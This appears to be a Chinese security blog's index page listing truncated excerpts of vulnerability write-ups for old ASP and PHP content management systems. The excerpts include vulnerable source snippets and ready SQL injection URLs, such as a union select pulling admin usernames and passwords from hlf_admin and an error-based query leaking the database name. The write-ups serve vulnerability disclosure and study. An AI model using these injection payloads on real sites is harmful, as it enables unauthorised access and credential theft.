对 sql server 2008 一次简单测试，显错模式，不支持单引号条件的突破

老系统内容 SQL 测试
约 1011 字 预计阅读 3 分钟
    By：鬼画符     对sql server 2008一次简单测试，显错模式，对不支持单引号条件下的一次突破。 ---------------------------------------------------------------------- 获取数据库名字 http://www.xxtt.com/xxtt.asp?id=10 and (len(db_name()))=7 http://www.xxtt.com/xxtt.asp?id=(select convert(int,(db_name())))   ddxxzz Conversion failed when converting the nvarchar value 'ddxxzz' to data type
阅读全文

老Y 3.0 两个 xss 漏洞

老系统内容 XSS 漏洞
约 287 字 预计阅读 1 分钟
    By：jelly111     代码我是两月个前看的。 网上应该也发出来了吧。。     代码: 第一个 以下是引用片段： ub savenew()         dim Title,Content,ClassID,sqlmoney         Title = LoseHtml(trim(request.form("Title")))         ClassID = LaoYRequest(request.form("ClassID"))         CopyFrom = LoseHtml(trim(request.form("CopyFrom")))         Author
阅读全文

5w五维网址导航 v8.0 两个小洞

老系统内容
约 347 字 预计阅读 1 分钟
    By：jelly111     看到有童鞋发了一个包含。我再发一个 以下是引用片段： if($site != '' && $site != 'www'){                  $controller = $site;                  if($uri != '' && $uri != '/'){                          // list                         if(preg_match('/^\/([0-9a-z]+)\-(\d+)\-(\d+)\.htm.*$/', $uri, $matches)){  //01ads54-8656-4545.html                                 header("location:[url]http://www.5w.com/404.html[/url]");                                 $action =
阅读全文

【Asp】ideacms 文章管理系统跳目录、上传等多处漏洞

老系统内容 ASP CMS 管理 管理系统 漏洞 上传 系统
约 845 字 预计阅读 2 分钟
'\admin\admin_upfile.asp： '\admin\admin_upfile.asp <% '略     dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath     dim dirTemplate : dirTemplate="../Upload"     dim path : path=getForm("path","get") : if isNul(path) then path= dirTemplate     if left(path,9)<>"../Upload" then  alert "只允许编辑Upload目录","
阅读全文

【Asp】918企业营销网站展示系统注入+爆数据库漏洞 - 脚本漏洞

老系统内容 ASP 爆 脚本 漏洞 企业 数据 数据库 网站 系统 注入
约 105 字 预计阅读 1 分钟
\news_show.asp： \news_show.asp <% id=request.QueryString("id") k=request.QueryString("k") %>        <%                         set rs3=server.CreateObject("adodb.recordset")                         sql3="select * from hlf_news where id="&id                         rs3.open sql3,conn,1,1                         if not rs3.eof then %> 过滤问题： http://127.0.0.1/news_show.asp?id=106 union select 1,admin,3,4,password,6 from hlf_admin 再看后台的conn.asp： conn.asp <% db="../databases/##hongquan.mdb" '
阅读全文

【Php】 Kuwebs CMS V3.0 多处漏洞 - 脚本漏洞

老系统内容 CMS PHP Web 脚本 漏洞
约 409 字 预计阅读 1 分钟
/*引： Team:MakeBug Author: Cfking 漏洞文件：inc/ajax.php 漏洞代码： */ <?php header('Content-Type:text/html; charset=utf-8'); $absolutepath = $_GET['absolutepath']; require_once($absolutepath.'inc/common.inc.php'); $sql = "update {$configTableHead}{$dbtable} set clicknum={$clicknum}+1 where id={$id}"; $result = $dbInstance->query($sql); ?>   $absolutepath参数直接获取G
阅读全文

【Php】5w五维网址导航 v8.0 漏洞 - 脚本漏洞

老系统内容 PHP 脚本 漏洞
约 424 字 预计阅读 1 分钟
// upload\i\index.php  <?php  //略  $controller = !empty($_GET['c']) ? $_GET['c'] : 'index';  $action     = !empty($_GET['a']) ? $_GET['a'] : 'index';      //cookie 自动登陆 并判断 uri  if (isset($_COOKIE['cUser']) && $_COOKIE['cUser']['userID'] != 0) {      $userID = GetCUserID();      $domain = GetCUserDomain();      $sql = 'SELECT * FROM members WHERE userID = "'.$userID.'"';      $arrRow = $objC -> GetRow($sql);      //http://t.qq.com/MakeBug          }      } 
阅读全文